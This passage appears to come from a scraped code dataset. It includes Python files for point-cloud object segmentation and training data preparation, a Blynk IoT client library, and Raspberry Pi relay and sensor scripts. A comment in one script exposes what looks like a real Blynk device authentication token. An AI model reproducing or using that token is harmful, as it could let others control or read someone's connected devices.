max_min(new_objects, img_length, img_height, 3)\n\n # get the input for each scene with 4 different linear transformations\n n = len(new_objects)\n\n input_data = []\n output = []\n\n for i in range(n):\n\n # get the objects with various number of linear transformations\n for j in range(num_linear_transformations):\n # creating the input in the XY view\n input_data.append(\n input_nn(\n new_objects[i],\n [x_min_x[i], x_max_x[i]],\n [y_min_x[i], y_max_x[i]],\n grid_size,\n img_length,\n img_height,\n 2,\n )\n )\n output.append(object_names[object_choice])\n\n # Creating the input for the ZY view\n input_data.append(\n input_nn(\n new_objects[i],\n [x_min_z[i], x_max_z[i]],\n [y_min_z[i], y_max_z[i]],\n grid_size,\n img_length,\n img_height,\n 3,\n )\n )\n output.append(object_names[object_choice])\n\n # Save the objects\n np.save(\n \"{}/{}_input.npy\".format(save_here, object_names[object_choice]), input_data\n )\n np.save(\"{}/{}_output.npy\".format(save_here, object_names[object_choice]), output)\n\n\ndef train_test_split(object_id, object_names, target, train_percent=0.7):\n \"\"\"\n Function that creates the train and test split\n \"\"\"\n # Input file and output file names\n file_name = \"{}/{}_input.npy\".format(target, object_names[object_id])\n output_file = \"{}/{}_output.npy\".format(target, object_names[object_id])\n\n # loading the saved npy format data\n object_input = np.load(file_name)\n object_output = np.load(output_file)\n\n # Creating the random shuffle data\n c = list(range(len(object_input)))\n\n # use random.Random(4) for fixing the seed\n random.shuffle(c)\n\n num_of_train = int(round(train_percent * len(c)))\n train = c[:num_of_train]\n test = c[num_of_train:]\n\n # Collecting the items of this index into\n train_input = list(itemgetter(*train)(object_input))\n test_input = list(itemgetter(*test)(object_input))\n train_output = list(itemgetter(*train)(object_output))\n test_output = list(itemgetter(*test)(object_output))\n\n # Adding them to the previous lists\n return train_input, test_input, train_output, test_output\n\n\ndef train_validation(input_train, output_train, batch_size):\n # zipping the input and output\n zipped_data = list(zip(input_train, output_train))\n\n # Shuffle them\n random.shuffle(zipped_data)\n\n # select the elements equal to batch_size\n zipped_data1 = zipped_data[:batch_size]\n zipped_data2 = zipped_data[batch_size:]\n # unzip the elements\n to_return = list(zip(*zipped_data1))\n x_batch = np.array(to_return[0], dtype=np.float32)\n y_batch = np.array(to_return[1], dtype=np.float32)\n\n to_return = list(zip(*zipped_data2))\n val_x = np.array(to_return[0], dtype=np.float32)\n val_y = np.array(to_return[1], dtype=np.float32)\n\n # return the elements\n return x_batch, y_batch, val_x, val_y\n\ndef data_prep(save_here, proj = False, proj_type=None):\n # list of individual objects\n list_of_object_choice = list(range(29))\n list_of_object_choice.remove(22)\n\n # objects\n object_names = object_names_func()\n\n # Required variables\n num_linear_transformations = 10\n num_of_scenes = 50\n path_to_pkl = \"../data/outliers.pkl\"\n grid_size = 0.1\n num_clusters = 4\n img_length = 10\n img_height = 7\n\n # Folder names\n dataset_dir = \"../../dataset/train\"\n # Create the outliers\n get_outliers(dataset_dir)\n\n # Preparing the data\n for i in list_of_object_choice:\n prepare_and_save_input(\n i,\n object_names,\n dataset_dir,\n num_linear_transformations,\n num_of_scenes,\n path_to_pkl,\n grid_size,\n num_clusters,\n img_length,\n img_height,\n save_here,\n proj,\n proj_type\n )\n\n\nif __name__ == \"__main__\":\n save_here = \"../data/\"\n proj = True\n proj_type = 'perspective'\n \n if proj:\n data_prep(save_here, proj, proj_type)\n\n else:\n data_prep(save_here)", "id": "761494", "language": "Python", "matching_score": 3.4579451084136963, "max_stars_count": 0, "path": "src/ssh-kd/utils/data_prep.py" }, { "content": "import numpy as np\nfrom plugin.seg import (\n remove_outliers,\n helper_object_points,\n max_min,\n prepare_data,\n list_of_objects,\n)\n\nfrom plugin.kde_seg import prep_obj_data\nfrom plugin.encode import input_nn, flat_input\nfrom plugin.projections import prespective_project\n\n# Function for pred the input\ndef pred_scene(test_input, session, y_pred_cls, x):\n test_batch_size = 64\n num_obj = len(test_input)\n cls_pred = np.zeros(shape=num_obj, dtype=np.int)\n\n # Starting index\n i = 0\n\n while i < num_obj:\n j = min(i + test_batch_size, num_obj)\n\n # get the images\n images = test_input[i:j]\n\n # Calculate the predicted class using tensor flow\n cls_pred[i:j] = session.run(y_pred_cls, feed_dict={x: images})\n\n i = j\n\n return cls_pred\n\n\n# Take the points of the cluster and fix the input using the above function\ndef predict(data_frame, session, img_length, img_height, y_pred_cls, x, proj=False, proj_type=None, segment_type=False):\n # prepare the data and segment it\n data_frame = remove_outliers([data_frame])[0]\n \n if segment_type:\n object_df = prep_obj_data(data_frame, False)\n else:\n segmented_df = prepare_data(data_frame)\n object_df = list_of_objects(segmented_df)\n\n dummy_input = []\n img_length = 10\n img_heigth = 7\n for j in object_df:\n \n if proj and proj_type=='perspective':\n\n # Numpy implementation\n X,y = prespective_project(j[:,0],j[:,1],j[:,2],4,3)\n x_max, x_min, y_max, y_min = max_min([[X,y]], img_length, img_height, 2)\n \n object_arr = input_nn(\n [X,y],\n [x_min[0], x_max[0]],\n [y_min[0], y_max[0]],\n 0.1,\n img_length,\n img_height,\n 2,\n )\n \n \n\n else:\n\n x_max, x_min, y_max, y_min = max_min([j[:,0],j[:,1]], img_length, img_height, 2)\n \n object_arr = input_nn(\n [j[:,0],j[:,1]],\n [x_min[0], x_max[0]],\n [y_min[0], y_max[0]],\n 0.1,\n img_length,\n img_height,\n 2,\n )\n object_arr = flat_input([object_arr]).tolist()[0]\n dummy_input.append(object_arr)\n return pred_scene(np.array(dummy_input), session, y_pred_cls, x)\n\n\n# Take the predicted list and convert to dictionary of object counts for each scene\ndef convert_pred_to_dict(\n data_frame, session, object_names, img_length, img_height, y_pred_cls, x, proj, proj_type, segment_type\n):\n output_pred = predict(data_frame, session, img_length, img_height, y_pred_cls, x, proj, proj_type, segment_type)\n a = {}\n for j in output_pred:\n if j >= 22:\n if object_names[j + 1] in a:\n a[object_names[j + 1]] = a[object_names[j + 1]] + 1\n else:\n a[object_names[j + 1]] = 1\n else:\n if object_names[j] in a:\n a[object_names[j]] = a[object_names[j]] + 1\n else:\n a[object_names[j]] = 1\n\n return a\n", "id": "3307061", "language": "Python", "matching_score": 6.367090702056885, "max_stars_count": 0, "path": "src/ssh-kd/plugin/pred.py" }, { "content": "import numpy as np\nfrom sklearn.cluster import DBSCAN\nfrom grouping import remove_outliers, helper_object_points, max_min\nfrom data import input_nn, flat_input\n\n# Using the DB Scan of scikit learn for segmenting the data, take in the dataframe and return the labeled_df\n# This DB scan is sensitive to starting point\n# Come up with another idea\ndef segmentation(data):\n clustering = DBSCAN(eps=1, min_samples=16).fit(data)\n labels = clustering.labels_\n\n return labels\n\n\n# Try to use the top view to reduce the computation\ndef prepare_data(data_frame):\n labels = segmentation(\n np.array(\n list(\n zip(\n np.array(data_frame[\"X\"]),\n np.array(data_frame[\"Y\"]),\n np.array(data_frame[\"Z\"]),\n )\n )\n )\n )\n data_frame[\"labels\"] = labels\n\n return data_frame\n\n\n# Extract the points of the clusters\ndef list_of_objects(dataframe):\n num_of_objects = dataframe[\"labels\"].value_counts().index.shape[0] - 1\n list_objects = []\n for i in range(num_of_objects):\n list_objects.append(dataframe[dataframe[\"labels\"] == i])\n\n return list_objects\n\n\n# Function for pred the input\ndef pred_scene(test_input, session, y_pred_cls, x):\n test_batch_size = 64\n num_obj = len(test_input)\n cls_pred = np.zeros(shape=num_obj, dtype=np.int)\n\n # Starting index\n i = 0\n\n while i < num_obj:\n j = min(i + test_batch_size, num_obj)\n\n # get the images\n images = test_input[i:j]\n\n # Calculate the predicted class using tensor flow\n cls_pred[i:j] = session.run(y_pred_cls, feed_dict={x: images})\n\n i = j\n\n return cls_pred\n\n\n# Take the points of the cluster and fix the input using the above function\ndef predict(data_frame, session, img_length, img_height, y_pred_cls, x):\n # prepare the data and segment it\n data_frame = remove_outliers([data_frame])[0]\n segmented_df = prepare_data(data_frame)\n object_df = list_of_objects(segmented_df)\n dummy_input = []\n img_length = 10\n img_heigth = 7\n for j in object_df:\n x_max, x_min, y_max, y_min = max_min([j], img_length, img_height, 2)\n object_arr = input_nn(\n j,\n [x_min[0], x_max[0]],\n [y_min[0], y_max[0]],\n 0.1,\n img_length,\n img_height,\n 2,\n )\n object_arr = flat_input([object_arr]).tolist()[0]\n dummy_input.append(object_arr)\n return pred_scene(np.array(dummy_input), session, y_pred_cls, x)\n\n# Take the predicted list and convert to dictionary of object counts for each scene\ndef convert_pred_to_dict(data_frame, \n session,\n object_names,\n img_length,\n img_height,\n y_pred_cls, x):\n\n output_pred = predict(data_frame, session, img_length, img_height, y_pred_cls, x)\n a = {}\n for j in output_pred:\n if j >= 22:\n if object_names[j + 1] in a:\n a[object_names[j + 1]] = a[object_names[j + 1]] + 1\n else:\n a[object_names[j + 1]] = 1\n else:\n if object_names[j] in a:\n a[object_names[j]] = a[object_names[j]] + 1\n else:\n a[object_names[j]] = 1\n \n return a\n", "id": "7523363", "language": "Python", "matching_score": 1.313645601272583, "max_stars_count": 0, "path": "src/starter-code/segmentation.py" }, { "content": "from distutils.core import setup\nfrom distutils.extension import Extension\nfrom Cython.Distutils import build_ext\n\next_modules = [\n Extension(\"cnn2d\",[\"cnn2d.py\"]),\n Extension(\"data\",[\"data.py\"]),\n Extension(\"segmentation\",[\"segmentation.py\"]),\n Extension(\"grouping\",[\"grouping.py\"]),\n Extension(\"train_2d\",[\"train_2d.py\"]),\n Extension(\"test_2d\",[\"test_2d.py\"]),\n Extension(\"cnn3d\",[\"cnn3d.py\"]),\n Extension(\"client_helper\",[\"client_helper.py\"])\n]\n\nsetup(\n name = 'Multi Label Object Detector',\n cmdclass = {'build_ext':build_ext},\n ext_modules = ext_modules\n)", "id": "8320400", "language": "Python", "matching_score": 1.6734416484832764, "max_stars_count": 0, "path": "src/starter-code/compile.py" }, { "content": "from client_helper import main\nmain()", "id": "5282150", "language": "Python", "matching_score": 0.6756015419960022, "max_stars_count": 0, "path": "src/starter-code/client.py" } ]
2.290043
Fewsrt
[ { "content": "# Copyright (c) 2015-2019 <NAME>. See the file LICENSE for copying permission.\n\n_VERSION = \"0.2.1\"\n\nimport struct\nimport time\nimport sys\nimport os\n\ntry:\n import machine\n gettime = lambda: time.ticks_ms()\nexcept ImportError:\n const = lambda x: x\n gettime = lambda: int(time.time() * 1000)\n\ndef dummy(*args):\n pass \n\nMSG_RSP = const(0)\nMSG_LOGIN = const(2)\nMSG_PING = const(6)\n\nMSG_TWEET = const(12)\nMSG_NOTIFY = const(14)\nMSG_BRIDGE = const(15)\nMSG_HW_SYNC = const(16)\nMSG_INTERNAL = const(17)\nMSG_PROPERTY = const(19)\nMSG_HW = const(20)\nMSG_HW_LOGIN = const(29)\nMSG_EVENT_LOG = const(64)\n\nMSG_REDIRECT = const(41) # TODO: not implemented\nMSG_DBG_PRINT = const(55) # TODO: not implemented\n\nSTA_SUCCESS = const(200)\nSTA_INVALID_TOKEN = const(9)\n\nDISCONNECTED = const(0)\nCONNECTING = const(1)\nCONNECTED = const(2)\n\nprint(\"\"\"\n ___ __ __\n / _ )/ /_ _____ / /__\n / _ / / // / _ \\\\/ '_/\n /____/_/\\\\_, /_//_/_/\\\\_\\\\\n /___/ for Python v\"\"\" + _VERSION + \" (\" + sys.platform + \")\\n\")\n\nclass BlynkProtocol:\n def __init__(self, auth, heartbeat=10, buffin=1024, log=None):\n self.callbacks = {}\n self.heartbeat = heartbeat*1000\n self.buffin = buffin\n self.log = log or dummy\n self.auth = auth\n self.state = DISCONNECTED\n self.connect()\n\n # These are mainly for backward-compatibility you can use \"blynk.on()\" instead\n def ON(blynk, evt):\n return blynk.on(evt)\n def VIRTUAL_READ(blynk, pin):\n return blynk.on(\"readV\"+str(pin))\n def VIRTUAL_WRITE(blynk, pin):\n return blynk.on(\"V\"+str(pin))\n\n def on(blynk, evt, func=None):\n if func:\n blynk.callbacks[evt] = func\n return\n\n class Decorator:\n def __init__(self, func):\n self.func = func\n blynk.callbacks[evt] = func\n def __call__(self):\n return self.func()\n return Decorator\n\n def emit(self, evt, *a, **kv):\n self.log(\"Event:\", evt, \"->\", *a)\n if evt in self.callbacks:\n self.callbacks[evt](*a, **kv)\n\n def virtual_write(self, pin, *val):\n self._send(MSG_HW, 'vw', pin, *val)\n\n def set_property(self, pin, prop, *val):\n self._send(MSG_PROPERTY, pin, prop, *val)\n\n def sync_virtual(self, *pins):\n self._send(MSG_HW_SYNC, 'vr', *pins)\n\n def notify(self, msg):\n self._send(MSG_NOTIFY, msg)\n\n def tweet(self, msg):\n self._send(MSG_TWEET, msg)\n\n def log_event(self, event, descr=None):\n if descr==None:\n self._send(MSG_EVENT_LOG, event)\n else:\n self._send(MSG_EVENT_LOG, event, descr)\n\n def _send(self, cmd, *args, **kwargs):\n if 'id' in kwargs:\n id = kwargs.get('id')\n else:\n id = self.msg_id\n self.msg_id += 1\n if self.msg_id > 0xFFFF:\n self.msg_id = 1\n \n if cmd == MSG_RSP:\n data = b''\n dlen = args[0]\n else:\n data = ('\\0'.join(map(str, args))).encode('utf8')\n dlen = len(data)\n \n self.log('<', cmd, id, '|', *args)\n msg = struct.pack(\"!BHH\", cmd, id, dlen) + data\n self.lastSend = gettime()\n self._write(msg)\n\n def connect(self):\n if self.state != DISCONNECTED: return\n self.msg_id = 1\n (self.lastRecv, self.lastSend, self.lastPing) = (gettime(), 0, 0)\n self.bin = b\"\"\n self.state = CONNECTING\n self._send(MSG_HW_LOGIN, self.auth)\n\n def disconnect(self):\n if self.state == DISCONNECTED: return\n self.bin = b\"\"\n self.state = DISCONNECTED\n self.emit('disconnected')\n\n def process(self, data=None):\n if not (self.state == CONNECTING or self.state == CONNECTED): return\n now = gettime()\n if now - self.lastRecv > self.heartbeat+(self.heartbeat//2):\n return self.disconnect()\n if (now - self.lastPing > self.heartbeat//10 and\n (now - self.lastSend > self.heartbeat or\n now - self.lastRecv > self.heartbeat)):\n self._send(MSG_PING)\n self.lastPing = now\n \n if data != None and len(data):\n self.bin += data\n\n while True:\n if len(self.bin) < 5:\n break\n\n cmd, i, dlen = struct.unpack(\"!BHH\", self.bin[:5])\n if i == 0: return self.disconnect()\n \n self.lastRecv = now\n if cmd == MSG_RSP:\n self.bin = self.bin[5:]\n\n self.log('>', cmd, i, '|', dlen)\n if self.state == CONNECTING and i == 1:\n if dlen == STA_SUCCESS:\n self.state = CONNECTED\n dt = now - self.lastSend\n self._send(MSG_INTERNAL, 'ver', _VERSION, 'h-beat', self.heartbeat//1000, 'buff-in', self.buffin, 'dev', 'python')\n try:\n self.emit('connected', ping=dt)\n except TypeError:\n self.emit('connected')\n else:\n if dlen == STA_INVALID_TOKEN:\n print(\"Invalid auth token\")\n return self.disconnect()\n else:\n if dlen >= self.buffin:\n print(\"Cmd too big: \", dlen)\n return self.disconnect()\n\n if len(self.bin) < 5+dlen:\n break\n\n data = self.bin[5:5+dlen]\n self.bin = self.bin[5+dlen:]\n\n args = list(map(lambda x: x.decode('utf8'), data.split(b'\\0')))\n\n self.log('>', cmd, i, '|', ','.join(args))\n if cmd == MSG_PING:\n self._send(MSG_RSP, STA_SUCCESS, id=i)\n elif cmd == MSG_HW or cmd == MSG_BRIDGE:\n if args[0] == 'vw':\n self.emit(\"V\"+args[1], args[2:])\n self.emit(\"V*\", args[1], args[2:])\n elif args[0] == 'vr':\n self.emit(\"readV\"+args[1])\n self.emit(\"readV*\", args[1])\n elif cmd == MSG_INTERNAL:\n self.emit(\"int_\"+args[1], args[2:])\n else:\n print(\"Unexpected command: \", cmd)\n return self.disconnect()\n\nimport socket\n\nclass Blynk(BlynkProtocol):\n def __init__(self, auth, **kwargs):\n self.server = kwargs.pop('server', 'blynk-cloud.com')\n self.port = kwargs.pop('port', 80)\n BlynkProtocol.__init__(self, auth, **kwargs)\n\n def connect(self):\n try:\n self.conn = socket.socket()\n self.conn.connect(socket.getaddrinfo(self.server, self.port)[0][4])\n try:\n self.conn.settimeout(eval('0.05'))\n except:\n self.conn.settimeout(0)\n BlynkProtocol.connect(self)\n except:\n raise ValueError('Connection with the Blynk server %s:%d failed' % (self.server, self.port))\n\n def _write(self, data):\n #print('<', data.hex())\n self.conn.send(data)\n # TODO: handle disconnect\n\n def run(self):\n data = b''\n try:\n data = self.conn.recv(self.buffin)\n #print('>', data.hex())\n except KeyboardInterrupt:\n raise\n except: # TODO: handle disconnect\n pass\n self.process(data)\n\n", "id": "2125693", "language": "Python", "matching_score": 1.8802311420440674, "max_stars_count": 0, "path": "BlynkLib.py" }, { "content": "# pip3 install blynk-library-python\n# sudo pip3 install adafruit-circuitpython-shtc3\n\n#from __future__ import print_function\nimport BlynkLib\nimport time\n#import busio\n#import board\n#import adafruit_shtc3\nimport RPi.GPIO as GPIO\n\n#time.sleep(40)\n\nBLYNK_AUTH = '<KEY>'\n\nblynk = BlynkLib.Blynk(BLYNK_AUTH, server='blynk.honey.co.th', port=8080)\n\n#i2c = busio.I2C(board.SCL, board.SDA)\n#sht = adafruit_shtc3.SHTC3(i2c)\n\nrelay1 = 37\nrelay2 = 35\nrelay3 = 33\nrelay4 = 31\nrelay5 = 29\nrelay6 = 15\nrelay7 = 13\nrelay8 = 11\n#statustimer = '0'\n\nGPIO.setmode(GPIO.BOARD)\n# GPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(relay1, GPIO.OUT)\nGPIO.setup(relay2, GPIO.OUT)\nGPIO.setup(relay3, GPIO.OUT)\nGPIO.setup(relay4, GPIO.OUT)\nGPIO.setup(relay5, GPIO.OUT)\nGPIO.setup(relay6, GPIO.OUT)\nGPIO.setup(relay7, GPIO.OUT)\nGPIO.setup(relay8, GPIO.OUT)\n\n\n@blynk.on(\"connected\")\ndef blynk_connected():\n print(\"Updating values from the server...\")\n blynk.sync_virtual(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,\n 13, 14, 15, 16, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36)\n print(\"status OK\")\n\n# @blynk.on(\"V22\")\n# def v22_write_handler(value):\n# #print('Current slider value: {}'.format(value[0]))\n# statustimer = format(value[0])\n# print(type(statustimer))\n# print(statustimer)\n #timer = x22\n\n\n@blynk.on(\"V1\")\ndef v1_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x1 = format(value[0])\n if x1 == \"1\":\n GPIO.output(relay1, GPIO.HIGH)\n print(\"relay1-work\")\n else:\n GPIO.output(relay1, GPIO.LOW)\n print(\"relay1-not-work\")\n\n\n@blynk.on(\"V2\")\ndef v2_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x2 = format(value[0])\n if x2 == \"1\":\n GPIO.output(relay2, GPIO.HIGH)\n blynk.virtual_write(34, 255)\n blynk.virtual_write(35, 0)\n print(\"relay2-work\")\n else:\n GPIO.output(relay2, GPIO.LOW)\n blynk.virtual_write(34, 0)\n blynk.virtual_write(35, 255)\n print(\"relay2-not-work\")\n\n\n@blynk.on(\"V3\")\ndef v3_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x3 = format(value[0])\n if x3 == \"1\":\n GPIO.output(relay3, GPIO.HIGH)\n GPIO.output(relay1, GPIO.HIGH)\n blynk.virtual_write(24, 255)\n blynk.virtual_write(25, 0)\n print(\"relay1-work\")\n else:\n GPIO.output(relay3, GPIO.LOW)\n GPIO.output(relay1, GPIO.LOW)\n blynk.virtual_write(24, 0)\n blynk.virtual_write(25, 255)\n print(\"relay3-not-work\")\n\n\n@blynk.on(\"V4\")\ndef v4_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x4 = format(value[0])\n if x4 == \"1\":\n GPIO.output(relay4, GPIO.HIGH)\n GPIO.output(relay1, GPIO.HIGH)\n blynk.virtual_write(26, 255)\n blynk.virtual_write(27, 0)\n print(\"relay4-work\")\n else:\n GPIO.output(relay4, GPIO.LOW)\n GPIO.output(relay1, GPIO.LOW)\n blynk.virtual_write(26, 0)\n blynk.virtual_write(27, 255)\n print(\"relay4-not-work\")\n\n\n@blynk.on(\"V5\")\ndef v5_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x5 = format(value[0])\n if x5 == \"1\":\n GPIO.output(relay5, GPIO.HIGH)\n blynk.virtual_write(28, 255)\n blynk.virtual_write(29, 0)\n print(\"relay5-work\")\n else:\n GPIO.output(relay5, GPIO.LOW)\n blynk.virtual_write(28, 0)\n blynk.virtual_write(29, 255)\n print(\"relay5-not-work\")\n\n\n@blynk.on(\"V6\")\ndef v6_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x6 = format(value[0])\n if x6 == \"1\":\n GPIO.output(relay6, GPIO.HIGH)\n blynk.virtual_write(30, 255)\n blynk.virtual_write(31, 0)\n print(\"relay6-work\")\n else:\n GPIO.output(relay6, GPIO.LOW)\n blynk.virtual_write(30, 0)\n blynk.virtual_write(31, 255)\n print(\"relay6-not-work\")\n\n\n@blynk.on(\"V7\")\ndef v7_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x7 = format(value[0])\n if x7 == \"1\":\n GPIO.output(relay7, GPIO.HIGH)\n blynk.virtual_write(32, 255)\n blynk.virtual_write(33, 0)\n print(\"relay7-work\")\n else:\n GPIO.output(relay7, GPIO.LOW)\n blynk.virtual_write(32, 0)\n blynk.virtual_write(33, 255)\n print(\"relay7-not-work\")\n\n\n@blynk.on(\"V8\")\ndef v8_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x8 = format(value[0])\n if x8 == \"1\":\n GPIO.output(relay8, GPIO.HIGH)\n print(\"relay8-work\")\n else:\n GPIO.output(relay8, GPIO.LOW)\n print(\"relay8-not-work\")\n\n\n@blynk.on(\"V9\")\ndef v9_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x9 = format(value[0])\n if x9 == \"1\":\n GPIO.output(relay1, GPIO.HIGH)\n blynk.virtual_write(1, 1)\n print(\"relay1-work\")\n else:\n GPIO.output(relay1, GPIO.LOW)\n blynk.virtual_write(1, 0)\n print(\"relay1-not-work\")\n\n\n@blynk.on(\"V10\")\ndef v10_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x10 = format(value[0])\n if x10 == \"1\":\n GPIO.output(relay2, GPIO.HIGH)\n blynk.virtual_write(2, 1)\n blynk.virtual_write(34, 255)\n blynk.virtual_write(35, 0)\n print(\"relay2-work\")\n else:\n GPIO.output(relay2, GPIO.LOW)\n blynk.virtual_write(2, 0)\n blynk.virtual_write(34, 0)\n blynk.virtual_write(35, 255)\n print(\"relay2-not-work\")\n\n\n@blynk.on(\"V11\")\ndef v11_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x11 = format(value[0])\n if x11 == \"1\":\n GPIO.output(relay3, GPIO.HIGH)\n GPIO.output(relay1, GPIO.HIGH)\n blynk.virtual_write(3, 1)\n blynk.virtual_write(24, 255)\n blynk.virtual_write(25, 0)\n print(\"relay3-work\")\n else:\n GPIO.output(relay3, GPIO.LOW)\n GPIO.output(relay1, GPIO.LOW)\n blynk.virtual_write(3, 0)\n blynk.virtual_write(24, 0)\n blynk.virtual_write(25, 255)\n print(\"relay3-not-work\")\n\n\n@blynk.on(\"V12\")\ndef v12_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x12 = format(value[0])\n if x12 == \"1\":\n GPIO.output(relay4, GPIO.HIGH)\n GPIO.output(relay1, GPIO.HIGH)\n blynk.virtual_write(4, 1)\n blynk.virtual_write(26, 255)\n blynk.virtual_write(27, 0)\n print(\"relay4-work\")\n else:\n GPIO.output(relay4, GPIO.LOW)\n GPIO.output(relay1, GPIO.LOW)\n blynk.virtual_write(4, 0)\n blynk.virtual_write(26, 0)\n blynk.virtual_write(27, 255)\n print(\"relay4-not-work\")\n\n\n@blynk.on(\"V13\")\ndef v13_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x13 = format(value[0])\n if x13 == \"1\":\n GPIO.output(relay5, GPIO.HIGH)\n blynk.virtual_write(5, 1)\n blynk.virtual_write(28, 255)\n blynk.virtual_write(29, 0)\n print(\"relay5-work\")\n else:\n GPIO.output(relay5, GPIO.LOW)\n blynk.virtual_write(5, 0)\n blynk.virtual_write(28, 0)\n blynk.virtual_write(29, 255)\n print(\"relay5-not-work\")\n\n\n@blynk.on(\"V14\")\ndef v14_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x14 = format(value[0])\n if x14 == \"1\":\n GPIO.output(relay6, GPIO.HIGH)\n blynk.virtual_write(6, 1)\n blynk.virtual_write(30, 255)\n blynk.virtual_write(31, 0)\n print(\"relay6-work\")\n else:\n GPIO.output(relay6, GPIO.LOW)\n blynk.virtual_write(6, 0)\n blynk.virtual_write(30, 0)\n blynk.virtual_write(31, 255)\n print(\"relay6-not-work\")\n\n\n@blynk.on(\"V15\")\ndef v15_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x15 = format(value[0])\n if x15 == \"1\":\n GPIO.output(relay7, GPIO.HIGH)\n blynk.virtual_write(7, 1)\n blynk.virtual_write(32, 255)\n blynk.virtual_write(33, 0)\n print(\"relay7-work\")\n else:\n GPIO.output(relay7, GPIO.LOW)\n blynk.virtual_write(7, 0)\n blynk.virtual_write(32, 0)\n blynk.virtual_write(33, 255)\n print(\"relay7-not-work\")\n\n\n@blynk.on(\"V16\")\ndef v16_write_handler(value):\n #print('Current slider value: {}'.format(value[0]))\n x16 = format(value[0])\n if x16 == \"1\":\n # print(\"timer-on\")\n # if statustimer == '1':\n GPIO.output(relay8, GPIO.HIGH)\n blynk.virtual_write(8, 1)\n print(\"relay8-work\")\n else:\n GPIO.output(relay8, GPIO.LOW)\n blynk.virtual_write(8, 0)\n print(\"relay8-not-work\")\n\n\n# @blynk.on(\"readV17\")\n# def v17_read_handler():\n# temperature, relative_humidity = sht.measurements\n# blynk.virtual_write(17, temperature)\n\n# @blynk.on(\"readV18\")\n# def v18_read_handler():\n# temperature, relative_humidity = sht.measurements\n# blynk.virtual_write(18, relative_humidity)\n\nwhile True:\n blynk.run()\n", "id": "1692821", "language": "Python", "matching_score": 4.788459300994873, "max_stars_count": 0, "path": "steak.py" }, { "content": "# SPDX-FileCopyrightText: Copyright (c) 2020 <NAME> for Adafruit Industries\n#\n# SPDX-License-Identifier: MIT\nimport BlynkLib\nimport time\nimport busio\nimport board\nimport adafruit_shtc3\n\n#time.sleep(40)\n\nBLYNK_AUTH = '<KEY>'\n\n# Initialize Blynk\nblynk = BlynkLib.Blynk(BLYNK_AUTH, server='blynk.honey.co.th', port=8080)\n\ni2c = busio.I2C(board.SCL, board.SDA)\nsht = adafruit_shtc3.SHTC3(i2c)\n\ntemperature, relative_humidity = sht.measurements\n\n\n@blynk.on(\"connected\")\ndef blynk_connected():\n print(\"Updating V1,V2,V3 values from the server...\")\n # blynk.sync_virtual(17, 18)\n print(\"status OK\")\n\n\n# @blynk.on(\"readV40\")\n# def v40_read_handler():\n# blynk.virtual_write(40, temperature)\n\n\n# @blynk.on(\"readV41\")\n# def v41_read_handler():\n# blynk.virtual_write(41, relative_humidity)\n\n\nwhile True:\n blynk.run()\n blynk.virtual_write(42, temperature)\n blynk.virtual_write(43, relative_humidity)\n print(\"Temperature: %0.2f\" % temperature)\n print(\"Humidity: %0.2f\" % relative_humidity)\n print(\"\")\n time.sleep(2)\n", "id": "2414309", "language": "Python", "matching_score": 4.553407192230225, "max_stars_count": 0, "path": "shtc3.py" }, { "content": "import BlynkLib\nimport time\nimport busio\nimport board\nimport adafruit_shtc3\n\n#time.sleep(40)\n\nBLYNK_AUTH = '<KEY>'\n\n# Initialize Blynk\nblynk = BlynkLib.Blynk(BLYNK_AUTH, server='blynk.honey.co.th', port=8080)\n\ni2c = busio.I2C(board.SCL, board.SDA)\nsht = adafruit_shtc3.SHTC3(i2c)\n\nwhile True:\n blynk.run()\n temperature, relative_humidity = sht.measurements\n blynk.virtual_write(1, temperature)\n blynk.virtual_write(2, relative_humidity)\n print(\"Temperature: %0.1f C\" % temperature)\n print(\"Humidity: %0.1f %%\" % relative_humidity)\n print(\"\")\n time.sleep(1)\n", "id": "4887158", "language": "Python", "matching_score": 2.1279969215393066, "max_stars_count": 0, "path": "testsht.py" }, { "content": "import socket\nimport time\nimport BlynkLib\nfrom gpiozero import CPUTemperature\n\n#time.sleep(40)\n\n# cmsensor1\n#BLYNK_AUTH = 'nD-SwPo3-WpMrvAbdksIFa4YnP14l9-A'\n\n# cmsensor2\nBLYNK_AUTH = '<KEY>'\nblynk = BlynkLib.Blynk(BLYNK_AUTH, server='blynk.honey.co.th', port=8080)\n\nwhile True:\n blynk.run()\n testIP = \"8.8.8.8\"\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((testIP, 0))\n ipaddr = s.getsockname()[0]\n host = socket.gethostname()\n cpu = CPUTemperature()\n blynk.virtual_write(19, str(ipaddr))\n blynk.virtual_write(20, str(host))\n blynk.virtual_write(21, \"Temp CPU : \" + str(cpu.temperature) + \" C\")\n blynk.virtual_write(22, cpu.temperature)\n print(cpu.temperature)\n print(\"IP:\", ipaddr, \" Host:\", host)\n time.sleep(5)\n", "id": "2500063", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "extra.py" }, { "content": "from .config import NMS_THRESH, MIN_CONF, People_Counter\nimport numpy as np\nimport cv2\n\ndef detect_people(frame, net, ln, personIdx=0):\n\t(H, W) = frame.shape[:2]\n\tresults = []\n\tblob = cv2.dnn.blobFromImage(frame, 1 / 255.0, (416, 416),\n\t\tswapRB=True, crop=False)\n\tnet.setInput(blob)\n\tlayerOutputs = net.forward(ln)\n\tboxes = []\n\tcentroids = []\n\tconfidences = []\n\tfor output in layerOutputs:\n\t\tfor detection in output:\n\t\t\tscores = detection[5:]\n\t\t\tclassID = np.argmax(scores)\n\t\t\tconfidence = scores[classID]\n\t\t\tif classID == personIdx and confidence > 